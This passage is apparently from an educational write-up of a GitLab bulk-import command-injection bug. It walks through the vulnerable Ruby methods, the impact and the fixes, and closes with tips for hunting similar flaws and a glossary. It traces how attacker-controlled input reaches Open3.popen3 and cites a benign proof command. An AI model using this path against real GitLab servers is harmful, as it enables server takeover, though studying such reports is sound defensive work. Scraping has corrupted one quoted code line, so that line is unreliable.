params[:import_data] = { data: data } if data.present?
end
Line by line:
def prepare_import_paramsstarts the method that prepares the import settings.data = {}starts an empty hash (a collection of key-value pairs).data[:override_params] = @override_params if @override_paramscopies override settings if any were given.if overwrite_project?checks whether an existing project is being overwritten.data[:original_path] = params[:path]saves the original path.params[:path] += "-#{tmp_filename}"appends a temporary suffix to the path.if template_filechecks whether a template file is involved.data[:sample_data] = params.delete(:sample_data) if params.key?(:sample_data)moves sample data into the override settings.params[:import_type] = 'gitlab_project'changes the import type togitlab_project.params[:import_data] = { data: data } if data.present?attaches the collected data if there is any.
Projects::CreateService runs again with the updated import_type and the rest of the params unchanged. Because @project.gitlab_project_migration? is no longer true, import_schedule fires:
def import_schedule
if @project.errors.empty?
@project.import_state.schedule if @project.import? && [email protected]_repository_import? && [email protected]_project_migration?
else
fail(error: @project.errors.full_messages.join(', '))
end
end
Line by line:
def import_schedulestarts the method that schedules the import.if @project.errors.empty?checks that no errors have been recorded.@project.import_state.schedule if ...schedules the import only if the project is an import, is not a bare repository import, and is not a GitLab project migration.elsehandles the case where there are errors.fail(error: @project.errors.full_messages.join(', '))raises an error with the collected messages.
With a custom import_source, that value becomes @archive_file for Gitlab::ImportExport::FileImporter. The importer waits for the archive file, and when wait_for_archived_file reaches MAX_RETRIES it continues rather than failing, then calls validate_decompressed_archive_size and reaches Open3.popen3 with the attacker-controlled string:
wait_for_archived_file do
validate_decompressed_archive_size if Feature.enabled?(:validate_import_decompressed_archive_size)
decompress_archive
end
def wait_for_archived_file
MAX_RETRIES.times do |retry_number|
break if File.exist?(@archive_file)
sleep(2**retry_number)
end
yield
end
Line by line:
wait_for_archived_file doruns the following block after waiting for the archive file.validate_decompressed_archive_size if Feature.enabled?(:validate_import_decompressed_archive_size)runs the size check only if that feature is enabled. This is the line that reaches the vulnerable code.decompress_archivethen unpacks the archive.def wait_for_archived_filedefines the waiting method.MAX_RETRIES.times do |retry_number|loops a fixed number of times.break if File.exist?(@archive_file)stops early if the file has appeared.sleep(2**retry_number)waits 1, 2, 4, 8 and so on seconds between attempts.yieldruns the block that was passed in, even if the file never appeared. That is why the vulnerable check still runs after the wait gives up.
Impact
If the bulk_import_projects feature is enabled, an attacker can execute arbitrary commands on the GitLab server. The exploit depends on the feature flag being on; with the default configuration the path is not reachable.
The fix
The report recommends two changes:
DecompressedArchiveSizeValidatorshould useGitlab::Popenand pass the command as an array of strings, so no shell is involved. When a command is given as a list of separate words, the shell does not interpret special characters in them.ProjectPipelineshould useGitlab::ImportExport::AttributeCleaner, or maintain a whitelist of allowed params, instead of relying on a blocklist. A blocklist names what is forbidden; a whitelist names what is allowed. A whitelist is safer because anything unexpected is rejected by default.
Other places to look
- Look for other callers of
DecompressedArchiveSizeValidatorwhere the archive path can be influenced, for example through import settings or API parameters. A positive result is a path containing shell metacharacters reaching the validator. - Audit other
Open3.popen3,system, backtick or%xcalls that insert user-controlled strings. A positive result is a command string where a parameter you control is not escaped. - Test other bulk import pipelines for parameters that survive the prohibited-attributes transformer and reach a service that acts on them. A positive result is a parameter you set appearing in a downstream service call.
- Try the template branch (
template_nameortemplate_project_id) on other create flows to see whether it changesimport_typeor other security-relevant fields. A positive result is a state change that enables a code path otherwise unreachable.
Notes for hunters
This class of bug tends to hide in import/export and migration code, where file paths and archive names are assembled from user-supplied metadata and then passed to shell helpers. During recon, look for feature flags that gate importers, and for services that accept a broad hash of attributes with only a blocklist for protection. The researcher demonstrated impact by running a harmless command (echo lala|tee /tmp/1234) and showing the output file, alongside the worker error log. That evidence, combined with the clear code path from the bulk import pipeline to Open3.popen3, was enough to establish arbitrary command execution.
Glossary
- API: a way for one program to talk to another over the network, instead of a person clicking in a browser.
- API token: a long secret string that acts like a password for a program making API requests.
- Archive: a single file that contains a project's data, used for export and import.
- Blocklist: a list of things that are forbidden; anything not on the list is allowed.
- Bulk project import: a GitLab feature that imports many projects at once from another instance, behind the
bulk_import_projectsflag. - Command injection: tricking a program into running commands you were never supposed to run, by putting special characters into text it passes to a shell.
- Correlation id: a tag in logs that ties together all lines from the same request.
- CVSS: a standard score for how severe a vulnerability is; 9.9 is critical.
- Feature flag: a switch inside the software that turns a feature on or off without changing the code.
- Flask: a small Python web framework used to run the fake GitLab instance in the script.
- GitLab: software for hosting source code and managing projects, which can be self-hosted.
- Hash: a collection of key-value pairs in Ruby.
- JSON: a text format for sending data over the network, which escapes certain characters.
- Method: a named block of code in Ruby.
- ngrok: a tool that gives a local server a public web address.
- Open3.popen3: a Ruby helper that starts a program and gives access to its input, output and error streams.
- Pipeline: a sequence of steps that data passes through during an import.
- Proxy: a tool that sits between your script and the server so you can watch and edit traffic.
- Rails console: an interactive prompt where you can run Ruby code inside the running GitLab application.
- Regexp: a way to describe text patterns.
- Shell: the program on a server that reads text commands and runs them.
- Sidekiq: GitLab's background job system.
- Symbol: a lightweight name in Ruby, written with a leading colon.
- Transformer: a small step that changes data as it flows through a pipeline.
- Whitelist: a list of things that are allowed; anything not on the list is rejected.
- Worker: a background process that does jobs such as importing.